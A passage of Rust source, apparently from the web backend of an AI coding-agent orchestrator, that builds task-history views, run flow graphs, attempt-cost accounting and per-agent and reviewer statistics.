4572 Some(PassEnd::Unrecorded) => (
4573 "unrecorded",
4574 None,
4575 "stopped without recording why (a crash, a kill or a restart; not known)"
4576 .to_owned(),
4577 ),
4578 };
4579 Self {
4580 index: p.index,
4581 resumed: p.resumed,
4582 started_at: p.started_at,
4583 ended_at: p.ended_at,
4584 end,
4585 cause,
4586 label,
4587 cost: settled.map(|t| t.cost),
4588 }
4589 }
4590}
4591
4592#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4594#[serde(rename_all = "snake_case")]
4595enum RunExit {
4596 Unreadable,
4597 Interrupted,
4599 Parked,
4600 QuotaStall,
4601 ResumedQuotaStall,
4605 Merged,
4606 Ready,
4607 Superseded,
4608 AlreadyInBase,
4611 Stalled,
4613 HeldWithPr,
4615 NoopHeld,
4616 Spent,
4618 InProgress,
4619}
4620
4621#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4622#[serde(rename_all = "snake_case")]
4623enum AttemptCost {
4624 Spent,
4625 Refunded,
4626 None,
4627 Unknown,
4629}
4630
4631impl RunExit {
4632 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4633 let Some(s) = s else {
4634 return Self::Unreadable;
4635 };
4636 let status = s.status;
4637 if resumed_later {
4638 Self::Interrupted
4639 } else if s.parked {
4640 Self::Parked
4641 } else if !status.done() {
4642 Self::InProgress
4643 } else if matches!(status, RunStatus::Merged) {
4644 Self::Merged
4645 } else if matches!(status, RunStatus::Ready) {
4646 Self::Ready
4647 } else if matches!(status, RunStatus::Superseded) {
4648 Self::Superseded
4649 } else if matches!(status, RunStatus::AlreadyInBase) {
4650 Self::AlreadyInBase
4651 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4652 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4653 {
4654 if resumed {
4655 Self::ResumedQuotaStall
4656 } else {
4657 Self::QuotaStall
4658 }
4659 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4660 Self::HeldWithPr
4661 } else if matches!(status, RunStatus::VerifiedNoop) {
4662 Self::NoopHeld
4663 } else if matches!(status, RunStatus::Stalled) {
4664 Self::Stalled
4665 } else {
4666 Self::Spent
4667 }
4668 }
4669
4670 fn cost(self) -> AttemptCost {
4671 match self {
4672 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4673 Self::Merged
4674 | Self::Ready
4675 | Self::Stalled
4676 | Self::HeldWithPr
4677 | Self::NoopHeld
4678 | Self::Spent => AttemptCost::Spent,
4679 Self::InProgress => AttemptCost::None,
4680 Self::AlreadyInBase => AttemptCost::Refunded,
4681 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4682 AttemptCost::Unknown
4683 }
4684 }
4685 }
4686
4687 fn edge_label(self, status: Option<&str>) -> String {
4689 match self {
4690 Self::Unreadable => "record unreadable".to_owned(),
4691 Self::Interrupted => "interrupted before the run finished".to_owned(),
4692 Self::Parked => "parked, attempt refunded".to_owned(),
4693 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4694 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4695 Self::Merged => "merged".to_owned(),
4696 Self::Ready => "ready, not merged".to_owned(),
4697 Self::Superseded => "superseded by a later attempt".to_owned(),
4698 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4699 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4700 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4701 Self::NoopHeld => "verified no-op".to_owned(),
4702 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4703 Self::InProgress => "in progress".to_owned(),
4704 }
4705 }
4706
4707 fn explains(self, end: TaskStatus) -> bool {
4710 match self {
4711 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4712 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4713 Self::Unreadable | Self::Superseded | Self::Ready => true,
4714 _ => end != TaskStatus::Done,
4715 }
4716 }
4717}
4718
4719#[derive(Debug, Serialize)]
4721struct TaskDetailView {
4722 #[serde(flatten)]
4723 task: TaskView,
4724 max_attempts: usize,
4727 history: Vec<TaskRunView>,
4728 passes_total: usize,
4731 runs_distinct: usize,
4733 flow: FlowView,
4734 followup_origin: Option<FollowUpOrigin>,
4736 runs_unreadable: usize,
4738 attempts_note: &'static str,
4740}
4741
4742const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4743and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4744on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
4745the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
4746
4747fn review_branch_of(instruction: &str) -> Option<&str> {
4750 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4751 rest.split('`').next().filter(|b| !b.is_empty())
4752}
4753
4754#[derive(Default)]
4756struct RunSlot<'a> {
4757 n: usize,
4759 resumed: bool,
4761 resumed_later: Option<usize>,
4763 prior: Option<(&'a str, RunStatus)>,
4765 last: bool,
4766 pass: Option<&'a crate::run::RunPass>,
4768 settled: Option<&'a crate::queue::TaskPass>,
4770 pass_n: usize,
4772 passes_of_run: usize,
4773}
4774
4775fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4778 let RunSlot {
4779 n,
4780 resumed,
4781 resumed_later,
4782 prior,
4783 last,
4784 pass,
4785 settled,
4786 pass_n,
4787 passes_of_run,
4788 } = at;
4789 let short = run::short_of(id).to_owned();
4790 let Some(s) = state else {
4791 return TaskRunView {
4792 n,
4793 id: id.to_owned(),
4794 short,
4795 kind: "unknown",
4796 status: None,
4797 readable: false,
4798 provisional: false,
4799 description:
4800 "This run's record could not be read by this build (written by a different \
4801 magi, or removed), so what kind of attempt it was is unknown."
4802 .to_owned(),
4803 outcome: String::new(),
4804 created_at: None,
4805 pr: None,
4806 exit: RunExit::Unreadable,
4807 attempt: AttemptCost::Unknown,
4808 exit_label: RunExit::Unreadable.edge_label(None),
4809 later_pass: resumed_later,
4810 pass_n,
4811 passes_of_run,
4812 pass: None,
4813 branch: None,
4814 badge: None,
4815 };
4816 };
4817 let branch = review_branch_of(&s.instruction);
4818 let kind = if resumed {
4819 "resume"
4820 } else if branch.is_some() {
4821 "review"
4822 } else if task.solo || s.candidates.len() == 1 {
4823 "solo"
4824 } else {
4825 "competition"
4826 };
4827 let mut description = match kind {
4828 "resume" => {
4829 format!("Resumed run {short}: the same run carried on instead of competing again.")
4830 }
4831 "review" => format!(
4832 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4833 branch.unwrap_or_default()
4834 ),
4835 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4836 _ => format!(
4837 "Competition: {} candidates judged blind.",
4838 s.candidates.len().max(1)
4839 ),
4840 };
4841 if !resumed && let Some((p, st)) = prior {
4842 description.push_str(&format!(
4843 " A retry: run {p} before it ended {}.",
4844 st.display_label()
4845 ));
4846 }
4847
4848 let status = s.status;
4849 let provisional = matches!(status, RunStatus::Stalled)
4850 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4851 let head = if resumed_later.is_some() {
4852 String::new()
4853 } else {
4854 match status {
4855 RunStatus::Merged => "Merged.".to_owned(),
4856 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4857 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4858 RunStatus::AlreadyInBase => {
4859 "Already in the base: this change landed under other commits, nothing was left to land."
4860 .to_owned()
4861 }
4862 RunStatus::Stalled => {
4863 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4864 .to_owned()
4865 }
4866 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4867 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4868 RunStatus::VerifiedNoop => {
4869 "Verified no-op: the candidates found nothing to change.".to_owned()
4870 }
4871 other if other.done() => format!("Ended {}.", other.display_label()),
4872 other => format!("In progress ({}).", other.display_label()),
4873 }
4874 };
4875 let view = pass.map(|p| PassView::of(p, settled));
4876 let recorded_end = view
4877 .as_ref()
4878 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
4879 let cost_words = match view.as_ref().and_then(|v| v.cost) {
4880 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
4881 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
4882 None => "whether its attempt was handed back was not recorded",
4883 };
4884 let pass_note = if passes_of_run > 1 {
4885 format!(
4886 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
4887 )
4888 } else {
4889 String::new()
4890 };
4891 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
4892 let cause = match v.end {
4894 "parked" => format!("It was stopped on purpose: {}.", v.label),
4895 _ => format!("It {}.", v.label),
4896 };
4897 format!(
4898 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
4899 capitalise(cost_words)
4900 )
4901 } else if let Some(k) = resumed_later {
4902 let cause = if s.quota.is_empty() {
4909 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4910 } else {
4911 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4912 };
4913 format!(
4914 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4915 )
4916 } else if s.parked {
4917 match recorded_end.and_then(|v| v.cause.as_ref()) {
4918 Some(cause) => format!(
4919 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
4920 cause.label(),
4921 cost_words
4922 ),
4923 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
4924 .to_owned(),
4925 }
4926 } else if !status.done()
4927 || matches!(
4928 status,
4929 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4930 )
4931 {
4932 String::new()
4933 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4934 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4935 {
4936 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4937 .to_owned()
4938 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4939 " It left a pull request open, so the task was held for a person rather than retried."
4940 .to_owned()
4941 } else if matches!(status, RunStatus::VerifiedNoop) {
4942 " Held for a person to check the claim.".to_owned()
4943 } else if last {
4944 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4945 } else {
4946 " It spent an attempt, and the task moved on to the next run.".to_owned()
4947 };
4948 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4949 let mut attempt = exit.cost();
4950 let mut exit_label = None;
4951 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
4952 let spent = match v.cost {
4953 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
4954 Some(crate::queue::PassCost::Spent) => ", attempt counted",
4955 None if resumed_later.is_some() => ", refund not recorded",
4956 None => ", attempt refunded",
4957 };
4958 attempt = match v.cost {
4959 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
4960 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
4961 None if resumed_later.is_some() => AttemptCost::Unknown,
4962 None => attempt,
4963 };
4964 if v.end == "parked" {
4965 exit = RunExit::Parked;
4966 exit_label = Some(match v.cause.as_ref() {
4967 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
4968 format!("parked for {}{spent}", c.label())
4969 }
4970 Some(c) => format!("parked ({}){spent}", c.label()),
4971 None => format!("parked{spent}"),
4972 });
4973 } else {
4974 exit_label = Some(format!("stopped without a recorded cause{spent}"));
4975 }
4976 }
4977 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
4978 TaskRunView {
4979 n,
4980 id: id.to_owned(),
4981 short,
4982 kind,
4983 status: Some(status.as_str()),
4984 readable: true,
4985 provisional,
4986 description,
4987 outcome: format!("{head}{why}"),
4988 created_at: Some(s.created_at),
4989 pr: s.pr.as_ref().map(|p| p.url.clone()),
4990 exit,
4991 attempt,
4992 exit_label,
4993 later_pass: resumed_later,
4994 pass_n,
4995 passes_of_run,
4996 pass: view,
4997 branch: branch.map(str::to_owned),
4998 badge: None,
4999 }
5000}
5001
5002fn capitalise(s: &str) -> String {
5003 let mut c = s.chars();
5004 c.next().map_or_else(String::new, |f| {
5005 f.to_uppercase().collect::<String>() + c.as_str()
5006 })
5007}
5008
5009#[derive(Debug, Serialize, PartialEq)]
5011struct FlowNode {
5012 key: String,
5014 kind: &'static str,
5016 label: String,
5017 status: Option<&'static str>,
5020 status_of: &'static str,
5023 note: Option<&'static str>,
5025 run_kind: Option<&'static str>,
5026 detail: Option<String>,
5027 decided: bool,
5029 readable: bool,
5030 href: Option<String>,
5031 badge: Option<String>,
5033}
5034
5035#[derive(Debug, Serialize, PartialEq)]
5036struct FlowEdge {
5037 from: String,
5038 to: String,
5039 label: String,
5040 attempt: AttemptCost,
5041}
5042
5043#[derive(Debug, Serialize, PartialEq)]
5044struct FlowView {
5045 nodes: Vec<FlowNode>,
5046 edges: Vec<FlowEdge>,
5047 attempts: usize,
5049 max_attempts: usize,
5050 passes: usize,
5053 runs: usize,
5054}
5055
5056fn task_flow(
5065 task: &Task,
5066 history: &[TaskRunView],
5067 max_attempts: usize,
5068 origin: Option<&FollowUpOrigin>,
5069) -> FlowView {
5070 let max_attempts = task.effective_attempt_limit(max_attempts);
5071 let node = |key: &str, kind, label: String| FlowNode {
5072 key: key.to_owned(),
5073 kind,
5074 label,
5075 status: None,
5076 status_of: "run",
5077 note: None,
5078 run_kind: None,
5079 detail: None,
5080 decided: false,
5081 readable: true,
5082 href: None,
5083 badge: None,
5084 };
5085 let mut nodes = Vec::new();
5086 let mut edges: Vec<FlowEdge> = Vec::new();
5087 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5089 let mut n = node(
5090 "chat",
5091 "chat",
5092 format!("Chat {}", crate::queue::short(&link.id)),
5093 );
5094 n.href = Some(link.href);
5095 nodes.push(n);
5096 edges.push(FlowEdge {
5097 from: "chat".to_owned(),
5098 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5099 label: "queued from chat".to_owned(),
5100 attempt: AttemptCost::None,
5101 });
5102 }
5103 if let Some(o) = origin {
5104 let mut n = match &o.parent {
5105 Some(p) => {
5106 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5107 n.status = Some(p.status);
5108 n.status_of = "task";
5109 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5110 n.href = Some(p.href.clone());
5111 n
5112 }
5113 None => {
5114 let mut n = node(
5115 "origin",
5116 "followup",
5117 format!("Follow-up of run {}", o.run.short),
5118 );
5119 n.detail = Some("merged run".to_owned());
5120 n.status = o.run.status;
5121 n.href = o.run.href.clone();
5122 if o.run.href.is_none() {
5123 n.readable = false;
5124 n.note = Some("unreadable");
5125 }
5126 n
5127 }
5128 };
5129 n.decided = true;
5130 let from = n.key.clone();
5131 nodes.push(n);
5132 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5133 let more = o.findings.len().saturating_sub(shown.len());
5134 let label = match (shown.is_empty(), more) {
5135 (true, _) => "open findings".to_owned(),
5136 (false, 0) => format!("open findings {}", shown.join(", ")),
5137 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5138 };
5139 edges.push(FlowEdge {
5140 from,
5141 to: "start".to_owned(),
5142 label,
5143 attempt: AttemptCost::None,
5144 });
5145 }
5146 nodes.push(node("start", "start", "Task queued".to_owned()));
5147 let mut prev = "start".to_owned();
5148 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5149 for (i, h) in history.iter().enumerate() {
5150 let key = format!("run-{}", h.n);
5151 let mut n = node(&key, "run", format!("Run {}", h.short));
5152 n.run_kind = Some(h.kind);
5153 n.readable = h.readable;
5154 n.href = Some(format!("#/runs/{}", h.id));
5155 n.decided = h.readable && !h.provisional;
5156 n.detail = h
5157 .branch
5158 .as_ref()
5159 .map(|b| format!("review-only run of branch {b}"));
5160 match h.exit {
5161 RunExit::Unreadable => n.note = Some("unreadable"),
5162 RunExit::Interrupted => n.note = Some("interrupted"),
5163 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5166 _ => {
5167 n.status = h.status;
5168 n.badge = h.badge.clone();
5169 if h.provisional {
5170 n.note = Some("no verdict");
5171 }
5172 }
5173 }
5174 let into = match h.kind {
5175 "review" => Some(format!(
5176 "review-only run of branch {}",
5177 h.branch.as_deref().unwrap_or("?")
5178 )),
5179 "resume" => Some("resume the same run".to_owned()),
5180 _ if i > 0 => Some("retry".to_owned()),
5181 _ => None,
5182 };
5183 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5184 let label = match (prev_exit, into) {
5185 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5186 (Some((_, l, _)), None) => l,
5187 (None, Some(i)) => i,
5188 (None, None) => "claimed".to_owned(),
5189 };
5190 edges.push(FlowEdge {
5191 from: prev.clone(),
5192 to: key.clone(),
5193 label,
5194 attempt,
5195 });
5196 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5197 prev = key;
5198 nodes.push(n);
5199 }
5200 let mut end = node("end", "end", task.status.as_str().to_owned());
5201 end.status = Some(task.status.as_str());
5202 end.status_of = "task";
5203 nodes.push(end);
5204 let (label, attempt) = match prev_exit {
5205 None => (
5206 format!("no run yet \u{2192} {}", task.status.as_str()),
5207 AttemptCost::None,
5208 ),
5209 Some((e, l, cost)) if e.explains(task.status) => {
5210 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5211 }
5212 Some((_, _, cost)) => (
5213 format!("closed by hand: task is {}", task.status.as_str()),
5214 cost,
5215 ),
5216 };
5217 edges.push(FlowEdge {
5218 from: prev,
5219 to: "end".to_owned(),
5220 label,
5221 attempt,
5222 });
5223 FlowView {
5224 nodes,
5225 edges,
5226 attempts: task.attempts,
5227 max_attempts,
5228 passes: history.len(),
5229 runs: distinct_runs(&task.runs),
5230 }
5231}
5232
5233fn distinct_runs(runs: &[String]) -> usize {
5235 let mut seen: Vec<&str> = Vec::new();
5236 for r in runs {
5237 if !seen.contains(&r.as_str()) {
5238 seen.push(r);
5239 }
5240 }
5241 seen.len()
5242}
5243
5244fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5246 let mut slots = Vec::new();
5247 let mut seen = Vec::new();
5248 for run_id in &task.runs {
5249 if seen.contains(&run_id) {
5250 continue;
5251 }
5252 seen.push(run_id);
5253 let state = read(run_id);
5254 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
5255 s.passes
5256 .iter()
5257 .filter(|p| {
5258 p.task_entry
5259 || task
5260 .passes
5261 .iter()
5262 .any(|t| t.run == *run_id && t.pass_index == p.index)
5263 })
5264 .cloned()
5265 .collect()
5266 });
5267 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
5268 let total = legacy_count.max(mine.len());
5269 let offset = total - mine.len();
5270 for k in 0..total {
5271 let position = task
5274 .runs
5275 .iter()
5276 .enumerate()
5277 .filter(|(_, r)| *r == run_id)
5278 .nth(k.min(legacy_count - 1))
5279 .unwrap()
5280 .0;
5281 slots.push((
5282 run_id,
5283 state.clone(),
5284 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
5285 position,
5286 ));
5287 }
5288 }
5289 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
5290 slots.sort_by_key(|(_, state, pass, _)| {
5291 pass.as_ref()
5292 .map(|p| p.started_at)
5293 .or_else(|| state.as_ref().map(|s| s.created_at))
5294 .map_or((true, task.created_at), |at| (false, at))
5295 });
5296 } else {
5297 slots.sort_by_key(|(_, _, _, position)| *position);
5298 }
5299 let mut history = Vec::with_capacity(slots.len());
5300 let mut seen: Vec<&str> = Vec::new();
5301 let mut prior: Option<(&str, RunStatus)> = None;
5302 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
5303 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
5304 let resumed = k > 0;
5305 seen.push(run_id);
5306 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
5307 let pass = pass.as_ref();
5308 let settled = pass.and_then(|p| {
5309 task.passes
5310 .iter()
5311 .find(|t| t.run == **run_id && t.pass_index == p.index)
5312 });
5313 history.push(task_run_view(
5314 run_id,
5315 state.as_ref(),
5316 RunSlot {
5317 n: i + 1,
5318 resumed,
5319 resumed_later: slots[i + 1..]
5320 .iter()
5321 .position(|(id, _, _, _)| id == run_id)
5322 .map(|off| i + off + 2),
5323 prior,
5324 last: i + 1 == slots.len(),
5325 pass,
5326 settled,
5327 pass_n: k + 1,
5328 passes_of_run: total,
5329 },
5330 task,
5331 ));
5332 if let Some(s) = &state {
5333 prior = Some((run::short_of(run_id), s.status));
5334 }
5335 }
5336 history
5337}
5338
5339fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
5342 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
5343 return;
5344 }
5345 let (_, claimed, _) = run_row_inputs(ui);
5346 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5347 for h in history
5348 .iter_mut()
5349 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
5350 {
5351 let Ok(state) = read_run(&ui.runs, &h.id) else {
5352 continue;
5353 };
5354 if state.status.done() {
5355 continue;
5356 }
5357 let live = state.liveness_with(
5358 claimed.contains(&h.id),
5359 |p| probe.borrow_mut().status(p),
5360 |p| probe.borrow_mut().started_at(p),
5361 );
5362 let waiting = !ui.questions.open_for(&h.id).is_empty();
5363 let display = run_display_status(&state, waiting, live);
5364 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
5365 if matches!(word.as_str(), "stale" | "superseded")
5366 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
5367 {
5368 h.badge = Some(word);
5369 }
5370 }
5371}
5372
5373async fn task_detail(
5374 State(ui): State<Arc<Ui>>,
5375 Path(id): Path<String>,
5376) -> ApiResult<Json<TaskDetailView>> {
5377 blocking(move || {
5378 let id = resolve_task(&ui.queue, &id)?;
5379 let task = ui
5380 .queue
5381 .get(&id)
5382 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
5383 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
5384 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
5385 mark_badges(&ui, &task, &mut history);
5386 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
5387 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
5388 let origin = task.followup.as_ref().map(|fu| {
5389 followup_origin(
5390 fu,
5391 |tid| ui.queue.get(tid).ok(),
5392 |rid| read_run(&ui.runs, rid).ok(),
5393 )
5394 });
5395 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
5396 Ok(Json(TaskDetailView {
5397 max_attempts,
5398 flow,
5399 followup_origin: origin,
5400 passes_total: history.len(),
5401 runs_distinct: distinct_runs(&task.runs),
5402 history,
5403 runs_unreadable,
5404 attempts_note: ATTEMPTS_NOTE,
5405 task: TaskView::with_inventory(task, &inv),
5406 }))
5407 })
5408 .await
5409}
5410
5411#[derive(Debug, Serialize)]
5415struct RateView {
5416 pct: f64,
5417 denominator: usize,
5418}
5419
5420impl RateView {
5421 fn of(numerator: usize, denominator: usize) -> Option<Self> {
5422 (denominator > 0).then(|| Self {
5423 pct: 100.0 * numerator as f64 / denominator as f64,
5424 denominator,
5425 })
5426 }
5427}
5428
5429#[derive(Debug, Serialize)]
5434struct StatsTotalsView {
5435 runs: usize,
5436 merged: usize,
5437 ready: usize,
5438 blocked: usize,
5439 failed: usize,
5440 stalled: usize,
5441 verified_noop: usize,
5442 superseded: usize,
5443 in_progress: usize,
5444 completion_rate: Option<RateView>,
5445 tallied: usize,
5446 split: usize,
5447 split_rate: Option<RateView>,
5448 deliberated: usize,
5449 minds_changed: usize,
5450 converged: usize,
5451 review_rounds: usize,
5452}
5453
5454impl From<&stats::Totals> for StatsTotalsView {
5455 fn from(t: &stats::Totals) -> Self {
5456 Self {
5457 runs: t.runs,
5458 merged: t.merged,
5459 ready: t.ready,
5460 blocked: t.blocked,
5461 failed: t.failed,
5462 stalled: t.stalled,
5463 verified_noop: t.verified_noop,
5464 superseded: t.superseded,
5465 in_progress: t.in_progress,
5466 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5467 tallied: t.tallied,
5468 split: t.split,
5469 split_rate: RateView::of(t.split, t.tallied),
5470 deliberated: t.deliberated,
5471 minds_changed: t.minds_changed,
5472 converged: t.converged,
5473 review_rounds: t.review_rounds,
5474 }
5475 }
5476}
5477
5478#[derive(Debug, Serialize)]
5480struct AgentStatsView {
5481 agent: String,
5482 entered: usize,
5483 wins: usize,
5484 empty: usize,
5485 win_rate: Option<RateView>,
5486 competitive_entered: usize,
5487 competitive_wins: usize,
5488 competitive_win_rate: Option<RateView>,
5489 solo_entered: usize,
5490 solo_adopted: usize,
5491 solo_adoption_rate: Option<RateView>,
5492}
5493
5494impl From<&stats::AgentStats> for AgentStatsView {
5495 fn from(a: &stats::AgentStats) -> Self {
5496 Self {
5497 agent: a.agent.clone(),
5498 entered: a.entered,
5499 wins: a.wins,
5500 empty: a.empty,
5501 win_rate: RateView::of(a.wins, a.entered),
5502 competitive_entered: a.competitive_entered,
5503 competitive_wins: a.competitive_wins,
5504 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5505 solo_entered: a.solo_entered,
5506 solo_adopted: a.solo_adopted,
5507 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5508 }
5509 }
5510}
5511
5512#[derive(Debug, Serialize)]
5516struct ReviewerStatsView {
5517 agent: String,
5518 rounds: usize,
5519 seated: usize,
5520 submitted: usize,
5521 adopted: usize,
5522 unique: usize,
5523 timeouts: usize,
5524 adopted_per_round: Option<f64>,
5525 precision: Option<RateView>,
5526 unique_rate: Option<RateView>,
5527 timeout_rate: Option<RateView>,
5528}
5529
5530impl From<&stats::ReviewerStats> for ReviewerStatsView {
5531 fn from(r: &stats::ReviewerStats) -> Self {
5532 Self {
5533 agent: r.agent.clone(),
5534 rounds: r.rounds,
5535 seated: r.seated,
5536 submitted: r.submitted,
5537 adopted: r.adopted,
5538 unique: r.unique,
5539 timeouts: r.timeouts,
5540 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5541 precision: RateView::of(r.adopted, r.submitted),
5542 unique_rate: RateView::of(r.unique, r.submitted),
5543 timeout_rate: RateView::of(r.timeouts, r.seated),
5544 }
5545 }
5546}
5547
5548#[derive(Debug, Serialize)]
5554struct AdvisorStatsView {
5555 agent: String,
5556 seated: usize,
5557 proposed: usize,
5558 absent: usize,
5559 faint: usize,
5560 strong: usize,
5561 reflection_rate: Option<RateView>,
5562}
5563
5564impl From<&stats::AdvisorStats> for AdvisorStatsView {
5565 fn from(a: &stats::AdvisorStats) -> Self {
5566 Self {
5567 agent: a.agent.clone(),
5568 seated: a.seated,
5569 proposed: a.proposed,
5570 absent: a.absent,
5571 faint: a.faint,
5572 strong: a.strong,
5573 reflection_rate: RateView::of(a.strong, a.proposed),
5574 }
5575 }
5576}
5577
5578#[derive(Debug, Serialize)]
5580struct E2eStatsView {
5581 rounds: usize,
5582 failures: usize,
5583 sole_detections: usize,
5584 deferred: usize,
5585 sole_rate: Option<RateView>,
5586}
5587
5588impl From<&stats::E2eStats> for E2eStatsView {
5589 fn from(e: &stats::E2eStats) -> Self {
5590 Self {
5591 rounds: e.rounds,
5592 failures: e.failures,
5593 sole_detections: e.sole_detections,
5594 deferred: e.deferred,
5595 sole_rate: RateView::of(e.sole_detections, e.failures),
5596 }
5597 }
5598}
5599
5600#[derive(Debug, Serialize)]
5608struct ReleaseBumpStatsView {
5609 merged: usize,
5610 recorded: usize,
5611 pr_opened: usize,
5612 automerge_enabled: usize,
5613 merged_directly: usize,
5614 needs_attention: usize,
5615 clean: usize,
5616 coverage_rate: Option<RateView>,
5617 automerge_rate: Option<RateView>,
5618 attention_rate: Option<RateView>,
5619}
5620
5621impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5622 fn from(b: &stats::ReleaseBumpStats) -> Self {
5623 Self {
5624 merged: b.merged,
5625 recorded: b.recorded,
5626 pr_opened: b.pr_opened,
5627 automerge_enabled: b.automerge_enabled,
5628 merged_directly: b.merged_directly,
5629 needs_attention: b.needs_attention,
5630 clean: b.clean(),
5631 coverage_rate: RateView::of(b.recorded, b.merged),
5632 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5633 attention_rate: RateView::of(b.needs_attention, b.recorded),
5634 }
5635 }
5636}
5637
5638#[derive(Debug, Serialize)]
5640struct TaskCountsView {
5641 queued: usize,
5642 running: usize,
5643 done: usize,
5644 failed: usize,
5645 held: usize,
5646 blocked: usize,
5647 parked: usize,
5648}
5649
5650impl From<crate::queue::TaskCounts> for TaskCountsView {
5651 fn from(c: crate::queue::TaskCounts) -> Self {
5652 Self {
5653 queued: c.queued,
5654 running: c.running,
5655 done: c.done,
5656 failed: c.failed,
5657 held: c.held,
5658 blocked: c.blocked,
5659 parked: c.parked,
5660 }
5661 }
5662}
5663
5664#[derive(Debug, Serialize)]
5670struct RepoSummaryView {
5671 repo: String,
5674 name: String,
5676 runs: usize,
5677 completion_rate: Option<RateView>,
5678}
5679
5680impl From<&stats::RepoStats> for RepoSummaryView {
